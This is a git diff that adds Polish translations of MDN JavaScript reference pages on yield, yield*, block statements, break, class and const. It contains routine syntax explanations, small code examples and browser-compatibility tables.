Implemented in JavaScript 1.0</td> + </tr> + <tr> + <td>{{SpecName('ES5.1', '#sec-11.1.1', 'The this keyword')}}</td> + <td>{{Spec2('ES5.1')}}</td> + <td></td> + </tr> + <tr> + <td>{{SpecName('ES6', '#sec-this-keyword', 'The this keyword')}}</td> + <td>{{Spec2('ES6')}}</td> + <td></td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + +<p>{{ CompatibilityTable() }}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{ CompatVersionUnknown() }}</td> + <td>{{ CompatVersionUnknown() }}</td> + <td>{{ CompatVersionUnknown() }}</td> + <td>{{ CompatVersionUnknown() }}</td> + <td>{{ CompatVersionUnknown() }}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Chrome for Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{ CompatVersionUnknown() }}</td> + <td>{{ CompatVersionUnknown() }}</td> + <td>{{ CompatVersionUnknown() }}</td> + <td>{{ CompatVersionUnknown() }}</td> + <td>{{ CompatVersionUnknown() }}</td> + <td>{{ CompatVersionUnknown() }}</td> + </tr> + </tbody> +</table> +</div> + +<h2 id="See_also" name="See_also">See also</h2> + +<ul> + <li><a href="/en-US/docs/Web/JavaScript/Reference/Functions_and_function_scope/Strict_mode">Strict mode</a></li> + <li><a href="http://bjorn.tipling.com/all-this">All this</a>, an article about <code>this</code> in different contexts</li> +</ul> diff --git a/files/pl/web/javascript/referencje/operatory/yield/index.html b/files/pl/web/javascript/referencje/operatory/yield/index.html new file mode 100644 index 0000000000..8d814a5aa8 --- /dev/null +++ b/files/pl/web/javascript/referencje/operatory/yield/index.html @@ -0,0 +1,168 @@ +--- +title: yield +slug: Web/JavaScript/Referencje/Operatory/yield +translation_of: Web/JavaScript/Reference/Operators/yield +--- +<div>{{jsSidebar("Operators")}}</div> + +<p>Słowo kluczowe <code>yield</code> jest używane do zatrzymania i powrotu funkcji generatora ({{jsxref("Statements/function*", "function*")}} lub <a href="/en-US/docs/Web/JavaScript/Reference/Statements/Legacy_generator_function">legacy generator function</a>).</p> + +<h2 id="Syntax">Syntax</h2> + +<pre class="syntaxbox">[<em>rv</em>] = <strong>yield</strong> [<em>expression</em>];</pre> + +<dl> + <dt><code>expression</code></dt> + <dd>Definiuje wartość która ma być zwrócona przez funkcję generatora przez <a href="/en-US/docs/Web/JavaScript/Reference/Iteration_protocols#The_iterator_protocol">the iterator protocol</a>, jeżeli pominięte, zostanie zwrócone <code>undefined</code>.</dd> + <dt><code>rv</code></dt> + <dd> + <p>Zwraca opcjonalną wartość przekazaną do metody next() generatora, do powrotu do jej wykonania.</p> + </dd> +</dl> + +<h2 id="Description">Description</h2> + +<p>The <code>yield</code> keyword causes generator function execution to pause and the value of the expression following the <code>yield</code> keyword is returned to the generator's caller. It can be thought of as a generator-based version of the <code>return</code> keyword.</p> + +<p>The <code>yield</code> keyword actually returns an <code>IteratorResult</code> object with two properties, <code>value</code> and <code>done</code>. The <code>value</code> property is the result of evaluating the <code>yield</code> expression, and <code>done</code> is <code>false</code>, indicating that the generator function has not fully completed.</p> + +<p>Once paused on a <code>yield</code> expression, the generator's code execution remains paused until the generator's <code>next()</code> method is called. Each time the generator's <code>next()</code> method is called, the generator resumes execution and runs until it reaches one of the following:</p> + +<ul> + <li> A <code>yield</code>, which causes the generator to once again pause and return the generator's new value. The next time <code>next()</code> is called, execution resumes with the statement immediately after the <code>yield</code>.</li> + <li>{{jsxref("Statements/throw", "throw")}} is used to throw an exception from the generator. This halts execution of the generator entirely, and execution resumes in the caller as is normally the case when an exception is thrown.</li> + <li>The end of the generator function is reached; in this case, execution of the generator ends and an <code>IteratorResult</code> is returned to the caller in which the <code>value</code> is {{jsxref("undefined")}} and <code>done</code> is <code>true</code>.</li> + <li>A {{jsxref("Statements/return", "return")}} statement is reached. In this case, execution of the generator ends and an <code>IteratorResult</code> is returned to the caller in which the <code>value</code> is the value specified by the <code>return</code> statement and <code>done</code> is <code>true</code>.</li> +</ul> + +<p>If an optional value is passed to the generator's <code>next()</code> method, that value becomes the value returned by the generator's current <code>yield</code> operation.</p> + +<p>Between the generator's code path, its <code>yield</code> operators, and the ability to specify a new starting value by passing it to {{jsxref("Generator.prototype.next()")}}, generators offer enormous power and control.</p> + +<h2 id="Examples">Examples</h2> + +<p>The following code is the declaration of an example generator function.</p> + +<pre class="brush: js">function* foo() { + var index = 0; + while (index <= 2) + yield index++; +}</pre> + +<p>Once a generator function is defined, it can be used by constructing an iterator as shown.</p> + +<pre class="brush: js">var iterator = foo(); +console.log(iterator.next()); // { value: 0, done: false } +console.log(iterator.next()); // { value: 1, done: false } +console.log(iterator.next()); // { value: 2, done: false } +console.log(iterator.next()); // { value: undefined, done: true }</pre> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('ES2015', '#', 'Yield')}}</td> + <td>{{Spec2('ES2015')}}</td> + <td>Initial definition.</td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#', 'Yield')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + +<p>{{CompatibilityTable}}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari (WebKit)</th> + </tr> + <tr> + <td>Basic support</td> + <td>39</td> + <td>{{CompatGeckoDesktop("26.0")}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatSafari("10")}}</td> + </tr> + <tr> + <td><code>IteratorResult</code> object instead of throwing</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatGeckoDesktop("29.0")}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatSafari("10")}}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatGeckoMobile("26.0")}}</td> + <td>{{CompatUnknown}}</td> + <td>{{ CompatUnknown}}</td> + <td>{{CompatSafari("10")}}</td> + </tr> + <tr> + <td><code>IteratorResult</code> object instead of throwing</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatGeckoMobile("29.0")}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatSafari("10")}}</td> + </tr> + </tbody> +</table> +</div> + +<h2 id="Firefox-specific_notes">Firefox-specific notes</h2> + +<ul> + <li>Starting with Gecko 29 {{geckoRelease(29)}}, the completed generator function no longer throws a {{jsxref("TypeError")}} "generator has already finished". Instead, it returns an <code>IteratorResult</code> object like <code>{ value: undefined, done: true }</code> ({{bug(958951)}}).</li> + <li>Starting with Gecko 33 {{geckoRelease(33)}}, the parsing of the <code>yield</code> expression has been updated to conform with the ES2015 specification ({{bug(981599)}}): + <ul> + <li>The expression after the <code>yield</code> keyword is optional and omitting it no longer throws a {{jsxref("SyntaxError")}}: <code>function* foo() { yield; }</code></li> + </ul> + </li> +</ul> + +<h2 id="See_also">See also</h2> + +<ul> + <li><a href="/en-US/docs/Web/JavaScript/Guide/The_Iterator_protocol">The Iterator protocol</a></li> + <li>{{jsxref("Statements/function*", "function*")}}</li> + <li>{{jsxref("Operators/function*", "function* expression")}}</li> + <li>{{jsxref("Operators/yield*", "yield*")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/operatory/yield_star_/index.html b/files/pl/web/javascript/referencje/operatory/yield_star_/index.html new file mode 100644 index 0000000000..ddef530622 --- /dev/null +++ b/files/pl/web/javascript/referencje/operatory/yield_star_/index.html @@ -0,0 +1,200 @@ +--- +title: yield* +slug: Web/JavaScript/Referencje/Operatory/yield* +translation_of: Web/JavaScript/Reference/Operators/yield* +--- +<div>{{jsSidebar("Operators")}}</div> + +<p><strong><code>Wyrażenie yield*</code> </strong> służy do wydelegowania działania generatora do innego {{jsxref("Statements/function*", "generatora")}} lub obiektu iterowalnego.</p> + +<div>{{EmbedInteractiveExample("pages/js/expressions-yieldasterisk.html")}}</div> + +<p class="hidden">Źródło poniższego interaktywnego przykładu przechowywane jest w repozytorium na GitHub. Jeśli chcesz współtworzyć projekt interaktywnych przykładów, sklonuj <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> i wyślij nam pull request.</p> + +<h2 id="Składnia">Składnia</h2> + +<pre class="syntaxbox"> yield* [[expression]];</pre> + +<dl> + <dt><code>expression</code></dt> + <dd>Wyrażenie, które zwraca iterowalny obiekt lub generator.</dd> +</dl> + +<h2 id="Opis">Opis</h2> + +<p><code>yield*</code> iteruje po iterowalnym obiekcie i wywołuje <code>yield</code> z każdą kolejną zwracaną przez niego wartością.</p> + +<p>Wartość samego <code>yield*</code> jest wartością zwróconą przez iterator w momencie jego zakończenia (tzn. kiedy <code>done</code> ma wartość <code>true</code>).</p> + +<h2 id="Przykłady">Przykłady</h2> + +<h3 id="Delegowanie_logiki_do_osobnego_generatora">Delegowanie logiki do osobnego generatora</h3> + +<p>W poniższym kodzie wartości <code>yeld</code> dla <code>g1()</code> zwracane są przy wywołaniu <code>next()</code> dokładnie tak samo jak te, które zwraca <code>yeld</code> generatora <code>g2()</code>.</p> + +<pre class="brush: js">function* g1() { + yield 2; + yield 3; + yield 4; +} + +function* g2() { + yield 1; + yield* g1(); + yield 5; +} + +var iterator = g2(); + +console.log(iterator.next()); // {value: 1, done: false} +console.log(iterator.next()); // {value: 2, done: false} +console.log(iterator.next()); // {value: 3, done: false} +console.log(iterator.next()); // {value: 4, done: false} +console.log(iterator.next()); // {value: 5, done: false} +console.log(iterator.next()); // {value: undefined, done: true} +</pre> + +<h3 id="Inne_obiekty_iterowalne">Inne obiekty iterowalne</h3> + +<p><code>yield*</code> może wywoływać <code>yield</code> z wartościami dostarczanymi przez inne rodzje obiektów iterowalnych , np. tablice, stringi lub obiekt <code>arguments</code>.</p> + +<pre class="brush: js">function* g3() { + yield* [1, 2]; + yield* '34'; + yield* Array.from(arguments); +} + +var iterator = g3(5, 6); + +console.log(iterator.next()); // {value: 1, done: false} +console.log(iterator.next()); // {value: 2, done: false} +console.log(iterator.next()); // {value: "3", done: false} +console.log(iterator.next()); // {value: "4", done: false} +console.log(iterator.next()); // {value: 5, done: false} +console.log(iterator.next()); // {value: 6, done: false} +console.log(iterator.next()); // {value: undefined, done: true} +</pre> + +<h3 id="Wartość_samego_wyrażenia_yield*">Wartość samego wyrażenia <code>yield*</code></h3> + +<p><code>yield*</code> jest wyrażeniem (expression) a nie statement, więc rozwiązuje się do konkretnej wartości.</p> + +<pre class="brush: js">function* g4() { + yield* [1, 2, 3]; + return 'foo'; +} + +var result; + +function* g5() { + result = yield* g4(); +} + +var iterator = g5(); + +console.log(iterator.next()); // {value: 1, done: false} +console.log(iterator.next()); // {value: 2, done: false} +console.log(iterator.next()); // {value: 3, done: false} +console.log(iterator.next()); // {value: undefined, done: true}, + // g4() zwrócił w tym momencie {value: 'foo', done: true} + +console.log(result); // "foo" +</pre> + +<h2 id="Specyfikacje">Specyfikacje</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('ES2015', '#', 'Yield')}}</td> + <td>{{Spec2('ES2015')}}</td> + <td>Initial definition.</td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#', 'Yield')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + +<p>{{CompatibilityTable}}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari (WebKit)</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatGeckoDesktop("27.0")}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatSafari("10")}}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatGeckoMobile("27.0")}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatSafari("10")}}</td> + </tr> + </tbody> +</table> +</div> + +<h2 id="Firefox-specific_notes">Firefox-specific notes</h2> + +<ul> + <li>Starting with Gecko 33 {{geckoRelease(33)}}, the parsing of the yield expression has been updated to conform with the ES2015 specification ({{bug(981599)}}): + <ul> + <li>The line terminator restriction is now implemented. No line terminator between "yield" and "*" is allowed. Code like the following will throw a {{jsxref("SyntaxError")}}: + <pre class="brush: js">function* foo() { + yield + *[]; +}</pre> + </li> + </ul> + </li> +</ul> + +<h2 id="See_also">See also</h2> + +<ul> + <li><a href="/en-US/docs/Web/JavaScript/Guide/The_Iterator_protocol">The Iterator protocol</a></li> + <li>{{jsxref("Statements/function*", "function*")}}</li> + <li>{{jsxref("Operators/function*", "function* expression")}}</li> + <li>{{jsxref("Operators/yield", "yield")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/polecenia/block/index.html b/files/pl/web/javascript/referencje/polecenia/block/index.html new file mode 100644 index 0000000000..bbc5c7e4fb --- /dev/null +++ b/files/pl/web/javascript/referencje/polecenia/block/index.html @@ -0,0 +1,160 @@ +--- +title: block +slug: Web/JavaScript/Referencje/Polecenia/block +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Reference/Statements/block +--- +<p><strong>Blok instrukcji</strong> jest stosowany do zgrupowania zero lub więcej instrukcji. Blok jest ograniczony parą nawiasów klamrowych i opcjonalnie może posiadać etykietę.</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<h3 id="Blok">Blok</h3> + +<pre class="eval">{ ListaInstrukcji } +</pre> + +<h3 id="Blok_z_etykietą">Blok z etykietą</h3> + +<pre>EtykietaBloku: { ListaInstrukcji }</pre> + +<h3 id="Parametry" name="Parametry">Parametry</h3> + +<dl> + <dt><code>ListaInstrukcji</code></dt> + <dd>Instrukcje zgrupowane w bloku.</dd> + <dt><font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.498039);">EtykietaBloku</span></font></dt> + <dd>Opcjonalna <a href="/pl/docs/Web/JavaScript/Referencje/Polecenia/etykieta">etykieta</a> dla wizualnej identyfikacji lub jako cel dla <a href="/pl/docs/Web/JavaScript/Referencje/Polecenia/break">break</a>.</dd> +</dl> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p>Blok instrukcji nazywany jest również w innych językach <strong>instrukcjami złożonymi</strong>. Pozwala użyć wielu instrukcji tam, gdzie JavaScript pozwala użyć tylko jednej. Składanie instrukcji w bloki jest powszechną praktyką w JavaScript. Za pomocą bloku można uzyskać też efekt przeciwny - brak instrukcji tam, gdzie jest wymagana.</p> + +<h3 id="Reguły_zasięgu_bloku">Reguły zasięgu bloku</h3> + +<h4 id="Zasięg_var">Zasięg <code>var</code></h4> + +<p>Zmienne tworzone poprzez <code>var</code> <strong>nie mają </strong>zasięgu bloku. Zmienne zadeklarowane w bloku są ograniczone do funkcji lub skryptu zawierającego, a efektyoperacji na nich utrzymują się poza samym blokiem. Innymi słowy, instrukcje blokowe nie wprowadzają zakresu. Chociaż "samodzielne" bloki są poprawną składnią, nie chcesz używać niezależnych bloków w JavaScript, ponieważ nie robią tego, co myślisz, że robią, jeśli myślisz, że robią coś takiego jak w C lub Java. Na przykład:</p> + +<pre><code>var x = 1; +{ + var x = 2; +} +console.log(x); // zwraca 2</code> +</pre> + +<p>Otrzymujesz 2, ponieważ instrukcja <code>var x = 2</code>, która jest w bloku jest w tym samym zasięgu co instrukcja przed blokiem. W C lub Javie podobny kod zwróciłby 1.</p> + +<h4 id="Zasięg_let_i_const">Zasięg <code>let</code> i <code>const</code></h4> + +<p>Dla odmiany identyfikatory stworzone z użyciem <a href="en-US/docs/Web/JavaScript/Reference/Statements/let">let</a> i <a href="/pl/docs/Web/JavaScript/Referencje/Polecenia/const">const</a> <strong>posiadają</strong> zakres blokowy:</p> + +<pre><code>let x = 1; +{ + let x = 2; +} +console.log(x); // zwraca 1</code> +</pre> + +<p><code><font face="Arial, x-locale-body, sans-serif"><span style="background-color: #ffffff;">Instrukcja </span></font>x = 2</code> jest ograniczona w zakresie bloku, w którym została zdefiniowana.</p> + +<p>To samo odnosi się do <code>const</code>:</p> + +<pre><code>const c = 1; +{ + const c = 2; +} +console.log(c); // zwraca 1 i nie rzuca wyjątkiem SyntaxError.</code> +</pre> + +<p>Zauważ, że <code>const c = 2</code> nie rzuca wyjątku <code>SyntaxError: Identifier 'c' has already been declared</code>, ponieważ może być zadeklarowane unikalnie w ramach bloku.</p> + +<h4 id="Zasięg_funkcji">Zasięg <code>funkcji</code></h4> + +<p>Funkcja zadeklarowana w bloku również widzialna jest w zakresie tego bloku:</p> + +<pre><code>foo('outside'); // TypeError: foo is not a function +{ + function foo(location) { + console.log('foo is called ' + location); + } + foo('inside'); // wykonuje się poprawnie i zwraca 'foo is called inside' +}</code> +</pre> + +<p>Bardziej precyzyjnie mówiąc blok instrukcji zapobiega <a href="/pl/docs/Glossary/Hoisting">Hoisting</a>owi deklaracji funkcji na początek zakresu. Funkcja zachowuje się tak, jakby była zdefiniowana jako wyrażenie funkcji i jako taka jest tylko deklaracją zmiennej, która zostaje podniesiona do góry, na początek zakresu:</p> + +<pre><code>foo; // zwraca undefined +{ + function foo(location) { + console.log('foo is called ' + location); + } + foo('inside'); // wykonuje się poprawnie i zwraca 'foo is called inside' +}</code></pre> + +<p>Konsekwentnie to znaczy, że gdy przeniesiemy wywołanie funkcji poniżej jej deklaracji - nie otrzymamy błędu:</p> + +<pre><code>{ + function foo(location) { + console.log('foo is called ' + location); + } + foo('inside'); // works correctly and logs 'foo is called inside' +} +foo('outside'); // works correctly and logs 'foo is called outside'</code> +</pre> + +<h2 id="Specyfikacja">Specyfikacja</h2> + +<table> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-block', 'Block statement')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('ES6', '#sec-block', 'Block statement')}}</td> + <td>{{Spec2('ES6')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('ES5.1', '#sec-12.1', 'Block statement')}}</td> + <td>{{Spec2('ES5.1')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('ES3', '#sec-12.1', 'Block statement')}}</td> + <td>{{Spec2('ES3')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('ES1', '#sec-12.1', 'Block statement')}}</td> + <td>{{Spec2('ES1')}}</td> + <td>Initial definition. Implemented in JavaScript 1.0.</td> + </tr> + </tbody> +</table> + +<h2 id="Kompatybilność_z_przeglądarkami">Kompatybilność z przeglądarkami</h2> + +<div class="hidden"> +<p>Tabela zgodności na tej stronie jest generowana na podstawie danych strukturalnych. Jeśli chcesz przyczynić się do danych, sprawdź https://github.com/mdn/browser-compat-data i wyślij nam prośbę o wycofanie.</p> +</div> + +<p>{{Compat("javascript.statements.block")}}</p> + +<h2 id="Zobacz_także">Zobacz także</h2> + +<ul> + <li><a href="/pl/docs/Web/JavaScript/Referencje/Polecenia/while">while</a></li> + <li><a href="/pl/docs/Web/JavaScript/Referencje/Polecenia/if...else">if...else</a></li> +</ul> diff --git a/files/pl/web/javascript/referencje/polecenia/break/index.html b/files/pl/web/javascript/referencje/polecenia/break/index.html new file mode 100644 index 0000000000..661b130d71 --- /dev/null +++ b/files/pl/web/javascript/referencje/polecenia/break/index.html @@ -0,0 +1,67 @@ +--- +title: break +slug: Web/JavaScript/Referencje/Polecenia/break +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Reference/Statements/break +--- +<p> +</p> +<h3 id="Podsumowanie" name="Podsumowanie"> Podsumowanie </h3> +<p>Przerywa aktualnie wykonywaną pętlę, konstrukcję <code>switch</code> i przekazuje sterowanie programu do polecenia za pętlą lub za wskazaną etykietą. +</p> +<table class="fullwidth-table"> +<tbody><tr> +<td class="header" colspan="2">Polecenie</td> +</tr> +<tr> +<td>Zaimplementowane w:</td> +<td>JavaScript 1.0, NES 2.0</td> +</tr> +<tr> +<td>Wersja ECMA:</td> +<td>ECMA-262 (wersja bez etykiety) +<p>ECMA-262, Edycja 3 (wersja z etykietą) +</p> +</td> +</tr> +</tbody></table> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3> +<p><code> +break {{ mediawiki.external('<i>etykieta</i>') }} +</code> +</p> +<h3 id="Parametry" name="Parametry"> Parametry </h3> +<dl><dt> <code>etykieta</code> </dt><dd> Identyfikator przypisany etykiecie polecenia. +</dd></dl> +<h3 id="Opis" name="Opis"> Opis </h3> +<p>Polecenie <code>break</code> może zawierać opcjonalną etykietę, która pozwala programowi na wyjście z bloku poleceń oznaczonego etykietą. Polecenia w bloku oznaczonym etykietą mogą być dowolnego rodzaju. +</p> +<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3> +<h4 id="Przyk.C5.82ad:_Zastosowanie_break" name="Przyk.C5.82ad:_Zastosowanie_break"> Przykład: Zastosowanie <code>break</code> </h4> +<p>Poniższa funkcja zawiera polecenie <code>break</code>, które przerywa pętlę +<code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Polecenia/while">while</a></code>, kiedy <code>e</code> jest równe 3, a następnie zwraca wartość 3 * <code>x</code>. +</p> +<pre>function testBreak(x) { + var i = 0; + while (i < 6) { + if (i == 3) + break; + i++; + } + return i*x; +} +</pre> +<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe"> Zobacz także </h3> +<p><code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Polecenia/continue">continue</a>, +<a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Polecenia/etykieta">etykieta</a>, +<a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Polecenia/switch">switch</a></code> +</p><p><br> +</p><p><br> +</p> +<div class="noinclude"> +</div> +{{ languages( { "en": "en/Core_JavaScript_1.5_Reference/Statements/break", "es": "es/Referencia_de_JavaScript_1.5/Sentencias/break", "fr": "fr/R\u00e9f\u00e9rence_de_JavaScript_1.5_Core/Instructions/break", "ja": "ja/Core_JavaScript_1.5_Reference/Statements/break" } ) }} diff --git a/files/pl/web/javascript/referencje/polecenia/class/index.html b/files/pl/web/javascript/referencje/polecenia/class/index.html new file mode 100644 index 0000000000..05cdb7b2d4 --- /dev/null +++ b/files/pl/web/javascript/referencje/polecenia/class/index.html @@ -0,0 +1,113 @@ +--- +title: class +slug: Web/JavaScript/Referencje/Polecenia/class +translation_of: Web/JavaScript/Reference/Statements/class +--- +<div>{{jsSidebar("Statements")}}</div> + +<div><strong>Deklaracja klasy</strong> tworzy nową klasę z daną nazwą, używając dziedziczenia opartego na prototypach.</div> + +<div>{{EmbedInteractiveExample("pages/js/statement-class.html")}}</div> + + + +<div class="noinclude"> +<p>Możesz także zdefiniować klasę, używając {{jsxref("Operators/class", "wyrażenia class", "", 1)}}. W odróżnieniu jednak od wyrażenia class, deklaracja klasy nie pozwala na ponowne zadeklarowanie istniejącej klasy i w takim przypadku zwróci błąd.</p> +</div> + +<h2 id="Składnia">Składnia</h2> + +<pre class="brush: js">class nazwa [extends] { + // ciało klasy +} +</pre> + +<h2 id="Opis">Opis</h2> + +<p>Ciało klasy w deklaracji klasy jest wykonywane w <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Strict_mode">trybie ścisłym</a>. Konstruktor jest opcjonalny.</p> + +<p>Deklaracje klas nie są {{Glossary("Hoisting", "hoisted")}} (w odróżnieniu od <a href="/en-US/docs/Web/JavaScript/Reference/Statements/function">deklaracji funkcji</a>).</p> + +<h2 id="Przykłady">Przykłady</h2> + +<h3 id="Prosta_deklaracja_klasy">Prosta deklaracja klasy</h3> + +<p>W poniższym przykładzie, najpierw definiujemy klasę o nazwie Polygon, a następnie rozszerzamy ją do klasy Square. Zwróć uwagę na to, że <code>super()</code>, użyte w konstruktorze, może byc użyte jedynie w konstruktorach i musi być wywołane przed użyciem słowa kluczowego <code>this</code>.</p> + +<pre class="brush: js">class Polygon { + constructor(height, width) { + this.name = 'Polygon'; + this.height = height; + this.width = width; + } +} + +class Square extends Polygon { + constructor(length) { + super(length, length); + this.name = 'Square'; + } +}</pre> + +<div class="warning"> +<h3 id="Próba_podwójnej_deklaracji_klasy">Próba podwójnej deklaracji klasy</h3> + +<p>Próba ponownego zadeklarowania klasy, przy użyciu deklaracji klasy, spowoduje wystąpienie błędu.</p> + +<pre class="brush: js">class Foo {}; +class Foo {}; // Uncaught SyntaxError: Identifier 'Foo' has already been declared +</pre> + +<p>Taki sam błąd jest zwracany, gdy klasa jest zdefiniowana przed użyciem wyrażenia klasy.</p> + +<pre class="brush: js">var Foo = class {}; +class Foo {}; // Uncaught TypeError: Identifier 'Foo' has already been declared + +</pre> +</div> + +<h2 id="Specyfikacje">Specyfikacje</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specyfikacja</th> + <th scope="col">Status</th> + <th scope="col">Komentarz</th> + </tr> + <tr> + <td>{{SpecName('ES2015', '#sec-class-definitions', 'Class definitions')}}</td> + <td>{{Spec2('ES2015')}}</td> + <td>Początkowa definicja.</td> + </tr> + <tr> + <td>{{SpecName('ES2016', '#sec-class-definitions', 'Class definitions')}}</td> + <td>{{Spec2('ES2016')}}</td> + <td></td> + </tr> + <tr> + <td>{{SpecName('ES2017', '#sec-class-definitions', 'Class definitions')}}</td> + <td>{{Spec2('ES2017')}}</td> + <td></td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-class-definitions', 'Class definitions')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td></td> + </tr> + </tbody> +</table> + +<h2 id="Wsparcie_przeglądarek">Wsparcie przeglądarek</h2> + + + +<p>{{Compat("javascript.statements.class")}}</p> + +<h2 id="Zobacz_też">Zobacz też</h2> + +<ul> + <li><a href="/en-US/docs/Web/JavaScript/Reference/Statements/function"><code>function</code> declaration</a></li> + <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/class"><code>class</code> expression</a></li> + <li><a href="/en-US/docs/Web/JavaScript/Reference/Classes">Classes</a></li> +</ul> diff --git a/files/pl/web/javascript/referencje/polecenia/const/index.html b/files/pl/web/javascript/referencje/polecenia/const/index.html new file mode 100644 index 0000000000..ead1ca32fb --- /dev/null +++ b/files/pl/web/javascript/referencje/polecenia/const/index.html @@ -0,0 +1,53 @@ +--- +title: const +slug: Web/JavaScript/Referencje/Polecenia/const +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Reference/Statements/const +--- +<p> +</p> +<h3 id="Podsumowanie" name="Podsumowanie"> Podsumowanie </h3> +<p>Deklaruje nazwaną stałą tylko do odczytu. +</p> +<table class="fullwidth-table"> +<tbody><tr> +<td class="header" colspan="2">Wyrażenie</td> +</tr> +<tr> +<td>Zaimplementowane w:</td> +<td>JavaScript 1.5, NES 6.0 (rozszerzenie Netscape, tylko w silniku C)</td> +</tr> +</tbody></table> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3> +<p><code> +const <i>nazwaStałej</i> {{ mediawiki.external('= <i>wartość</i>') }} [..., <i>nazwaStałej</i> {{ mediawiki.external('= <i>wartość</i>') }} ] +</code> +</p> +<h3 id="Parametry" name="Parametry"> Parametry </h3> +<dl><dt> <code>nazwaStałej</code> </dt><dd> Nazwa stałej. Może być dowolnym dozwolonym identyfikatorem. +</dd></dl> +<dl><dt> <code>wartość</code> </dt><dd> Wartość stałej. Może być dowolną dozwoloną wartością lub wynikiem wyrażenia. +</dd></dl> +<h3 id="Opis" name="Opis"> Opis </h3> +<p>Tworzy stałą, która może być globalna lub lokalna dla funkcji, która ją zadeklarowała. Zasady zasięgu dla stałych są takie same jak dla zmiennych. +</p><p>Wartość stałej nie może zostać zmieniona poprzez ponowne przypisanie; stała nie może także być ponownie zadeklarowana. 